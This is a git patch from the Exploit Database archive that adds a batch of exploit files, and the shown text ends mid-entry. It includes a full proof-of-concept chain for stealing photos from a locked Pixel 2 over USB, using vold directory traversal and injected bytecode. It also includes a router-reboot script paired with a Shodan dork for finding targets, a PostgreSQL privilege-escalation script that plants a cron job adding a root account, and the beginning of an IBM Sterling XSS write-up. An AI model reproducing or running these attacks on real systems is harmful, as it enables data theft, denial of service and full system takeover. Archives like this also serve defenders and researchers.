From 1e34c2b6a5ef9f5c0a39dbbd30277808ce43c40b Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Tue, 14 Aug 2018 05:01:45 +0000 Subject: [PATCH] DB: 2018-08-14 11 changes to exploits/shellcodes IP Finder 1.5 - Denial of Service (PoC) Acunetix WVS 10.0 Build 20150623 - Denial of Service (PoC) PLC Wireless Router GPN2.4P21-C-CN - Denial of Service Switch Port Mapping Tool 2.81.2 - 'Name Field' Denial of Service (PoC) Monitoring software iSmartViewPro 1.5 - 'SavePath for ScreenShots' Buffer Overflow PostgreSQL 9.4-0.5.3 - Privilege Escalation Android - Directory Traversal over USB via Injection in blkid Output Microsoft DirectX SDK - 'Xact.exe' Remote Code Execution Oracle Weblogic Server - Deserialization Remote Code Execution (Metasploit) Monstra-Dev 3.0.4 - Cross-Site Request Forgery(Account Hijacking) Monstra-Dev 3.0.4 - Cross-Site Request Forgery (Account Hijacking) IBM Sterling B2B Integrator 5.2.0.1/5.2.6.3 - Cross-Site Scripting Linux/x64 - Add Root User (toor/toor) Shellcode (99 bytes) --- exploits/android/local/45192.txt | 347 ++++++++++++++++++++++++++++ exploits/hardware/dos/45187.py | 26 +++ exploits/linux/local/45184.sh | 55 +++++ exploits/multiple/webapps/45190.txt | 27 +++ exploits/windows/dos/45186.py | 23 ++ exploits/windows/remote/45180.txt | 120 ++++++++++ exploits/windows/remote/45193.rb | 313 +++++++++++++++++++++++++ exploits/windows_x86/dos/45182.py | 25 ++ exploits/windows_x86/dos/45191.py | 23 ++ exploits/windows_x86/local/45181.py | 54 +++++ files_exploits.csv | 12 +- files_shellcodes.csv | 1 + shellcodes/linux_x86-64/45185.asm | 93 ++++++++ 13 files changed, 1118 insertions(+), 1 deletion(-) create mode 100644 exploits/android/local/45192.txt create mode 100755 exploits/hardware/dos/45187.py create mode 100755 exploits/linux/local/45184.sh create mode 100644 exploits/multiple/webapps/45190.txt create mode 100755 exploits/windows/dos/45186.py create mode 100644 exploits/windows/remote/45180.txt create mode 100755 exploits/windows/remote/45193.rb create mode 100755 exploits/windows_x86/dos/45182.py create mode 100755 exploits/windows_x86/dos/45191.py create mode 100755 exploits/windows_x86/local/45181.py create mode 100644 shellcodes/linux_x86-64/45185.asm diff --git a/exploits/android/local/45192.txt b/exploits/android/local/45192.txt new file mode 100644 index 000000000..5870332b8 --- /dev/null +++ b/exploits/android/local/45192.txt @@ -0,0 +1,347 @@ +When a USB mass storage device is inserted into an Android phone (even if the +phone is locked!), vold will attempt to automatically mount partitions from the +inserted device. For this purpose, vold has to identify the partitions on the +connected device and collect some information about them, which is done in +readMetadata() in system/vold/Utils.cpp. This function calls out to "blkid", +then attempts to parse the results: + + + std::vector cmd; + cmd.push_back(kBlkidPath); + cmd.push_back("-c"); + cmd.push_back("/dev/null"); + cmd.push_back("-s"); + cmd.push_back("TYPE"); + cmd.push_back("-s"); + cmd.push_back("UUID"); + cmd.push_back("-s"); + cmd.push_back("LABEL"); + cmd.push_back(path); + + std::vector output; + status_t res = ForkExecvp(cmd, output, untrusted ? sBlkidUntrustedContext : sBlkidContext); + if (res != OK) { + LOG(WARNING) << "blkid failed to identify " << path; + return res; + } + + char value[128]; + for (const auto& line : output) { + // Extract values from blkid output, if defined + const char* cline = line.c_str(); + const char* start = strstr(cline, "TYPE="); + if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { + fsType = value; + } + + start = strstr(cline, "UUID="); + if (start != nullptr && sscanf(start + 5, "\"%127[^\"]\"", value) == 1) { + fsUuid = value; + } + + start = strstr(cline, "LABEL="); + if (start != nullptr && sscanf(start + 6, "\"%127[^\"]\"", value) == 1) { + fsLabel = value; + } + } + + +Normally, the UUID string can't contain any special characters because blkid +generates it by reformatting a binary ID as a printable UUID string. However, +the version of blkid that Android is using will print the LABEL first, without +escaping the characters this code scans for, allowing an attacker to place +special characters in the fsUuid variable. + + +For example, if you format a USB stick with a single partition, then place a +romfs filesystem in the partition as follows (on the terminal of a Linux PC): + + # echo '-rom1fs-########TYPE="vfat" UUID="../../data"' > /dev/sdc1 + +and then connect the USB stick to a Nexus 5X and run blkid as root on the +device, you'll see the injection: + + bullhead:/ # blkid -c /dev/null -s TYPE -s UUID -s LABEL /dev/block/sda1 + /dev/block/sda1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" + + +logcat shows that the injection was successful and the device is indeed using +the injected values, but vold doesn't end up doing much with the fake UUID +because fsck_msdos fails: + +05-29 20:41:26.262 391 398 V vold : /dev/block/vold/public:8,1: LABEL="TYPE="vfat" UUID="../../data"" TYPE="romfs" +05-29 20:41:26.262 391 398 V vold : +05-29 20:41:26.263 391 398 V vold : /system/bin/fsck_msdos +05-29 20:41:26.263 391 398 V vold : -p +05-29 20:41:26.263 391 398 V vold : -f +05-29 20:41:26.263 391 398 V vold : /dev/block/vold/public:8,1 +05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {652 public:8,1 vfat} +05-29 20:41:26.264 813 2039 D VoldConnector: RCV <- {653 public:8,1 ../../data} +05-29 20:41:26.265 813 2039 D VoldConnector: RCV <- {654 public:8,1 TYPE=} +05-29 20:41:26.281 391 398 I fsck_msdos: ** /dev/block/vold/public:8,1 +05-29 20:41:26.285 391 398 I fsck_msdos: Invalid sector size: 8995 +05-29 20:41:26.286 391 398 I fsck_msdos: fsck_msdos terminated by exit(8) +05-29 20:41:26.286 391 398 E Vold : Filesystem check failed (no filesystem) +05-29 20:41:26.286 391 398 E vold : public:8,1 failed filesystem check +05-29 20:41:26.286 813 2039 D VoldConnector: RCV <- {651 public:8,1 6} +05-29 20:41:26.287 813 2039 D VoldConnector: RCV <- {400 48 Command failed} +05-29 20:41:26.288 2532 2532 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,1}: +05-29 20:41:26.288 2532 2532 D StorageNotification: type=PUBLIC diskId=disk:8,0 partGuid=null mountFlags=0 mountUserId=0 +05-29 20:41:26.288 2532 2532 D StorageNotification: state=UNMOUNTABLE +05-29 20:41:26.288 2532 2532 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= +05-29 20:41:26.288 2532 2532 D StorageNotification: path=null internalPath=null + + +For a relatively harmless example in which vold actually ends up mounting the +device in the wrong place, you can create a vfat partition with label +'UUID="../##': + + # mkfs.vfat -n 'PLACEHOLDER' /dev/sdc1 + mkfs.fat 4.1 (2017-01-24) + # dd if=/dev/sdc1 bs=1M count=200 | sed 's|PLACEHOLDER|UUID="../##|g' | dd of=/dev/sdc1 bs=1M + 200+0 records in + 200+0 records out + 209715200 bytes (210 MB, 200 MiB) copied, 1.28705 s, 163 MB/s + 198+279 records in + 198+279 records out + 209715200 bytes (210 MB, 200 MiB) copied, 2.60181 s, 80.6 MB/s + +Connect it to the Android device again while running strace against vold: + + [pid 398] newfstatat(AT_FDCWD, "/mnt/media_rw/../##", 0x7d935fe708, AT_SYMLINK_NOFOLLOW) = -1 ENOENT (No such file or directory) + [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 + [pid 398] fchmodat(AT_FDCWD, "/mnt/media_rw/../##", 0700) = 0 + [pid 398] fchownat(AT_FDCWD, "/mnt/media_rw/../##", 0, 0, 0) = 0 + [pid 398] mount("/dev/block/vold/public:8,1", "/mnt/media_rw/../##", "vfat", MS_NOSUID|MS_NODEV|MS_NOEXEC|MS_DIRSYNC|MS_NOATIME, "utf8,uid=1023,gid=1023,fmask=7,d"...) = 0 + [pid 398] faccessat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", F_OK) = -1 ENOENT (No such file or directory) + [pid 398] mkdirat(AT_FDCWD, "/mnt/media_rw/../##/LOST.DIR", 0755) = 0 + +Check the results: + + bullhead:/ # ls -l /mnt + total 32 + drwxrwx--- 3 media_rw media_rw 32768 2018-05-29 20:54 ## + drwx--x--x 2 root root 40 1970-01-01 04:14 appfuse + drwxr-xr-x 2 root system 40 1970-01-01 04:14 asec + drwxrwx--x 2 system system 40 1970-01-01 04:14 expand + drwxr-x--- 2 root media_rw 40 1970-01-01 04:14 media_rw + drwxr-xr-x 2 root system 40 1970-01-01 04:14 obb + drwx------ 5 root root 100 1970-01-01 04:14 runtime + lrwxrwxrwx 1 root root 21 1970-01-01 04:14 sdcard -> /storage/self/primary + drwx------ 3 root root 60 1970-01-01 04:14 secure + drwxr-xr-x 3 root root 60 1970-01-01 04:14 user + bullhead:/ # mount | grep '##' + /dev/block/vold/public:8,1 on /mnt/## type vfat (rw,dirsync,nosuid,nodev,noexec,noatime,uid=1023,gid=1023,fmask=0007,dmask=0007,allow_utime=0020,codepage=437,iocharset=iso8859-1,shortname=mixed,utf8,errors=remount-ro) + + +When testing with a normal USB stick, the attacker has to choose between using a +vfat filesystem (so that Android is capable of mounting it as external storage) +and using a romfs filesystem (so that the label is long enough to specify +arbitrary paths). However, an attacker who wants to perform more harmful attacks +could use a malicious USB storage device that is capable of delivering different +data for multiple reads from the same location. This way, it would be possible +to deliver a romfs superblock when blkfs is reading, but deliver a vfat +superblock when the kernel is reading. I haven't tested this yet because I don't +yet have the necessary hardware. + + +When you fix this issue, please don't just fix the injection and/or the +directory traversal. I believe that from a security perspective, a smartphone +should not mount storage devices that are inserted while the screen is locked +(or, more generally, communication with new USB devices should be limited while +the screen is locked). Mounting a USB storage device exposes a lot of code to +the connected device, including partition table parsing, vold logic, blkid, the +kernel's FAT filesystem implementation, and anything on the device that might +decide to read files from the connected storage device. + + +############################################################ + +This is a PoC for stealing photos from the DCIM folder of a Pixel 2 running +build OPM2.171026.006.C1 while the device is locked. You will need a Pixel 2 as +victim device, a corresponding AOSP build tree, a Raspberry Pi Zero W (or some +other device you can use for device mode USB), a powered USB hub, and some +cables. + +The victim phone must be powered on, the disk encryption keys must be unlocked +(meaning that you must have entered your PIN/passphrase at least once since +boot), and the attack probably won't work if someone has recently (since the +last reboot) inserted a USB stick into the phone. + + +Configure the Raspberry Pi Zero W such that it is usable for gadget mode +(see e.g. https://gist.github.com/gbaman/50b6cca61dd1c3f88f41). + +Apply the following patch to frameworks/base in your AOSP build tree: + +========================================= +diff --git a/packages/ExternalStorageProvider./src/com/android/externalstorage/MountReceiver.java b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java +index 8a6c7d68525..73be5818da1 100644 +--- a/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java ++++ b/packages/ExternalStorageProvider/src/com/android/externalstorage/MountReceiver.java +@@ -20,10 +20,38 @@ import android.content.BroadcastReceiver; + import android.content.ContentProviderClient; + import android.content.Context; + import android.content.Intent; ++import java.io.File; ++import java.io.FileInputStream; ++import java.io.FileOutputStream; + + public class MountReceiver extends BroadcastReceiver { + @Override + public void onReceive(Context context, Intent intent) { ++ System.logE("MOUNTRECEIVER CODE INJECTED, GRABBING FILES..."); ++ try { ++ File exfiltration_dir = new File("/data/exfiltrated-photos"); ++ exfiltration_dir.mkdir(); ++ File camera_dir = new File("/storage/emulated/0/DCIM/Camera"); ++ File[] camera_files = camera_dir.listFiles(); ++ for (File camera_file: camera_files) { ++ System.logE("GRABBING '"+camera_file.getName()+"'"); ++ File exfiltrated_file = new File(exfiltration_dir, camera_file.getName()); ++ exfiltrated_file.delete(); ++ FileInputStream ins = new FileInputStream(camera_file); ++ FileOutputStream outs = new FileOutputStream(exfiltrated_file); ++ byte[] buf = new byte[4096]; ++ int len; ++ while ((len=ins.read(buf)) > 0) { ++ outs.write(buf, 0, len); ++ } ++ ins.close(); ++ outs.close(); ++ } ++ } catch (Exception e) { ++ throw new RuntimeException(e); ++ } ++ System.logE("INJECTED CODE DONE"); ++ + final ContentProviderClient client = context.getContentResolver() + .acquireContentProviderClient(ExternalStorageProvider.AUTHORITY); + try { +========================================= + +Then build the tree ("lunch aosp_walleye-userdebug", then build with "make"). + +Zip the classes.dex build artifact of ExternalStorageProvider: + +$ zip -jX zipped_dexfile ~/aosp-walleye/out/target/common/obj/APPS/ExternalStorageProvider_intermediates/classes.dex + adding: classes.dex (deflated 49%) +$ mv zipped_dexfile.zip zipped_dexfile + +Download the factory image for OPM2.171026.006.C1 and unpack its system partition, e.g. using commands roughly as follows: + +$ unzip image-walleye-opm2.171026.006.c1.zip +$ ~/aosp-walleye/out/host/linux-x86/bin/simg2img system.img system.img.raw # convert sparse image to normal +$ echo 'rdump / walleye-opm2.171026.006.c1/unpacked_system/' | debugfs -f- walleye-opm2.171026.006.c1/unpacked_image/system.img.raw 2>/dev/null # extract filesystem image + +Now build the classes.dex build artifact into an odex file and a vdex file, linking against boot.art from the factory image: + +$ ~/aosp-walleye/out/host/linux-x86/bin/dex2oat --runtime-arg -Xms64m --runtime-arg -Xmx512m --class-loader-context='&' --boot-image=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/framework/boot.art --dex-file=zipped_dexfile --dex-location=/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk --oat-file=package.odex --android-root=/home/user/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system --instruction-set=arm64 --instruction-set-variant=cortex-a73 --instruction-set-features=default --runtime-arg -Xnorelocate --compile-pic --no-generate-debug-info --generate-build-id --abort-on-hard-verifier-error --force-determinism --no-inline-from=core-oj.jar --compiler-filter=quicken + +The resulting vdex file would not be accepted by the phone because of a CRC32 +checksum mismatch; to fix it up, compile the attached vdex_crc32_fixup.c and use +it to overwrite the CRC32 checksum with the expected one from the factory image: + +$ ./vdex_crc32_fixup package.vdex ~/google_walleye/walleye-opm2.171026.006.c1/unpacked_system/system/priv-app/ExternalStorageProvider/ExternalStorageProvider.apk +original crc32: d0473780 +new crc32: 84c10ae9 +vdex patched + +Prepare two disk images, each with a MBR partition table and a single partition. +Their partition tables should be identical. +In the first image's partition, place a fake romfs filesystem that triggers the +vold bug: + +# echo -e '-rom1fs-########TYPE="vfat" UUID="../../data"\0' > /dev/sdd1 + +Format the second image's partition with FAT32, and create the following +directory structure inside that filesystem (the "system@" entries are files, the +rest are directories): + +├── dalvik-cache +│ └── arm64 +│ ├── system@framework@boot.art +│ ├── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex +│ └── system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex +├── LOST.DIR +├── misc +│ └── profiles +│ └── cur +│ └── 0 +│ └── com.android.externalstorage +├── user +│ └── 0 +│ └── com.android.externalstorage +│ └── cache +└── user_de + └── 0 + └── com.android.externalstorage + └── code_cache + +The three system@ files should have the following contents: + + - system@framework@boot.art should be a copy of system/framework/arm64/boot.art + from the system image. + - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.dex + should be the generated package.odex. + - system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex + should be the fixed-up package.vdex. + +Copy the two disk images to the Raspberry Pi Zero W; the fake romfs image should +be named "disk_image_blkid", the image with FAT32 should be named +"disk_image_mount". On the Pi, build the fuse_intercept helper: + +$ gcc -Wall fuse_intercept.c `pkg-config fuse --cflags --libs` -o fuse_intercept + +Then create a directory "mount" and launch fuse_intercept. + +In a second terminal, tell the Pi's kernel to present the contents of the mount +point as a mass storage device: + +pi@raspberrypi:~ $ sudo modprobe dwc2 +pi@raspberrypi:~ $ sudo modprobe g_mass_storage file=/home/pi/mount/wrapped_image stall=0 + + +To run the attack, connect the Pi to the powered USB hub as a device. Then use +a USB-C OTG adapter (unless you have some fancy USB-C hub, I guess?) to connect +the powered hub to the locked phone, with the phone in USB host mode. + +At this point, the phone should first mount the USB stick over +/data, then immediately afterwards launch +com.android.externalstorage/.MountReceiver: + +06-05 21:58:20.988 656 665 I Vold : Filesystem check completed OK +06-05 21:58:20.988 1115 1235 D VoldConnector: RCV <- {656 public:8,97 /mnt/media_rw/../../data} +06-05 21:58:20.990 1115 1235 D VoldConnector: RCV <- {655 public:8,97 /mnt/media_rw/../../data} +06-05 21:58:21.004 1115 1235 D VoldConnector: RCV <- {651 public:8,97 2} +06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:33): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 +06-05 21:58:21.006 1115 1235 D VoldConnector: RCV <- {200 7 Command succeeded} +06-05 21:58:21.004 1115 1115 W android.fg: type=1400 audit(0.0:34): avc: denied { write } for name="/" dev="sdg1" ino=1 scontext=u:r:system_server:s0 tcontext=u:object_r:vfat:s0 tclass=dir permissive=0 +06-05 21:58:21.008 1335 1335 D StorageNotification: Notifying about public volume: VolumeInfo{public:8,97}: +06-05 21:58:21.008 1335 1335 D StorageNotification: type=PUBLIC diskId=disk:8,96 partGuid=null mountFlags=0 mountUserId=0 +06-05 21:58:21.008 1335 1335 D StorageNotification: state=MOUNTED +06-05 21:58:21.008 1335 1335 D StorageNotification: fsType=vfat fsUuid=../../data fsLabel=TYPE= +06-05 21:58:21.008 1335 1335 D StorageNotification: path=/mnt/media_rw/../../data internalPath=/mnt/media_rw/../../data +06-05 21:58:21.020 1115 1129 I ActivityManager: Start proc 4478:com.android.externalstorage/u0a35 for broadcast com.android.externalstorage/.MountReceiver + +Most processes can't access the vfat filesystem that is now mounted at /data +either because they lack the necessary groups or because of some SELinux rule. +But com.android.externalstorage passes both checks and can read and write (but +not execute) files from the new /data. Bytecode is loaded from +/data/dalvik-cache/arm64/system@priv-app@ExternalStorageProvider@ExternalStorageProvider.apk@classes.vdex +and then interpreted, allowing the attacker to steal photos from the device +(since com.android.externalstorage has access to /storage/emulated/0): + +06-05 21:58:21.248 4478 4478 I zygote64: The ClassLoaderContext is a special shared library. +06-05 21:58:21.276 4478 4478 W zygote64: JIT profile information will not be recorded: profile file does not exits. +06-05 21:58:21.278 4478 4478 W asset : failed to open idmap file /data/resource-cache/vendor@overlay@Pixel@PixelThemeOverlay.apk@idmap +06-05 21:58:21.326 4478 4478 D ExternalStorage: After updating volumes, found 3 active roots +06-05 21:58:21.334 4478 4478 E System : MOUNTRECEIVER CODE INJECTED, GRABBING FILES... +06-05 21:58:21.343 4478 4478 E System : GRABBING 'IMG_20180605_212044.jpg' +06-05 21:58:21.419 4478 4478 E System : GRABBING 'IMG_20180605_215031.jpg' +06-05 21:58:21.428 2218 2218 W SQLiteLog: (28) file renamed while open: /data/user/0/com.google.android.gms/databases/config.db +06-05 21:58:21.465 4478 4478 E System : INJECTED CODE DONE + + +Proof of Concept: +https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/bin-sploits/45192.zip \ No newline at end of file diff --git a/exploits/hardware/dos/45187.py b/exploits/hardware/dos/45187.py new file mode 100755 index 000000000..316e417aa --- /dev/null +++ b/exploits/hardware/dos/45187.py @@ -0,0 +1,26 @@ +# Exploit Title: PLC Wireless Router GPN2.4P21-C-CN Unauthenticated Remote Reboot +# Date: 8/12/2018 +# Exploit Author: Chris Rose +# Affected Model : GPN2.4P21-C-CN(Firmware: W2001EN-00) +# Vendor: ChinaMobile +# Tested on: Debian Linux +# Shodan dork- title:PLC +# CVE: None +#Description: PLC Wireless Router's are vulnerable to a unauthenticated remote reboot +# which can be achieved through sending a modified http request. The script below will +# take a user suppled IP address of a PLC router and send the exploit to the device.# Use the Shodan dork above to find PLC wireless routers. + +import requests +import time + + + +target = raw_input("Enter target IP: ") +post_data = {'reboot' : 'Reboot', 'obj-action' : 'reboot', 'var%3Anoredirect' : '1', 'var%3Amenu' : 'maintenance', 'var%3Apage' : 'system', 'var%3Aerrorpage' : 'system', 'getpage' : 'html%2Fpage%2Frestarting.html'} +exploit = requests.post("http://"+target+":8080/cgi-bin/webproc", data=post_data) + +print ("Sent exploit attempt to %s")% target +time.sleep(1.2) +print ("Test if device is offline.") +time.sleep(1.5) +print ("Visit http://"+target+":8080/") \ No newline at end of file diff --git a/exploits/linux/local/45184.sh b/exploits/linux/local/45184.sh new file mode 100755 index 000000000..95b39664f --- /dev/null +++ b/exploits/linux/local/45184.sh @@ -0,0 +1,55 @@ +# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation +# Date: 2017-10-11 +# Exploit Author: Johannes Segitz +# Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722 +# Software Link: - +# Version: Before postgresql-init-9.4-0.5.3.1 +# Tested on: SUSE Linux Enterprise 11 SP4 +# CVE : CVE-2017-14798 + +#!/bin/sh + +# don't use spaces or other funny characters in here +CRON_DIR='/etc/cron.hourly' +CRON_FILE="$CRON_DIR/totally_not_a_lpe" + +declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf') + +if [ "$(whoami)" != "postgres" ]; then + echo "Must be run as user postgres" + exit -1 +fi +cd + +echo setting up exploit +mv data data2 +ln -s $CRON_DIR data + +echo waiting for DB restart +while [ ! -w $CRON_DIR ]; do + sleep 1 +done + +echo able to write $CRON_DIR +echo '#!/bin/sh' > $CRON_FILE +echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE +echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE +echo "rm $CRON_FILE" >> $CRON_FILE +echo "chown root.root ${CRON_DIR}" >> $CRON_FILE +chmod +x $CRON_FILE + +if [ -e $CRON_FILE ]; then + echo wrote $CRON_FILE +else + echo failed to write $CRON_FILE, exiting + exit 1 +fi + +echo cleaning up +for i in "${CLEANUP_ELEMENTS[@]}"; do + rm -rf "$CRON_DIR/$i" +done +rm data +mv data2 data + +echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy! \ No newline at end of file diff --git a/exploits/multiple/webapps/45190.txt b/exploits/multiple/webapps/45190.txt new file mode 100644 index 000000000..fcf54ced6 --- /dev/null +++ b/exploits/multiple/webapps/45190.txt @@ -0,0 +1,27 @@ +# Exploit Title: [IBM Sterling B2B Integrator persistent cross-site scripting] +# Exploit Author: [Vikas Khanna] (https://www.linkedin.com/in/leetvikaskhanna/) (https://twitter.com/MR_SHANU_KHANNA) +# Vendor Homepage: [https://www.ibm.com/support/knowledgecenter/en/SS3JSW_5.2.0/com.ibm.help.overview.doc/si_overview.html] +# Version: [IBM Sterling B2B Integrator 5.2.0.1 - 5.2.6.3] (REQUIRED) +# CVE : [CVE-2018-1513 & CVE-2018-1563] + + +Vulnerability Details +Vulnerability Name : Persistent Cross Site Scripting +Affected Parameter(s) : fname & lname + +Steps to reproduce +Step 1 : Login to the IBM Sterling B2B Integrator. + +Step 2 : Navigate to Performance Tuning module, Username will be displayed as below :- + Last Edited By + Note :- Modify the configuration for example and check the Last Edited By - Username. Any user (Admin or Non admin) who have privileges to change the configuration can act like an attacker. + +Step 3 : Navigate to My Account and update first name and last name. + +Step 4: Intercept the request using burp suite and insert the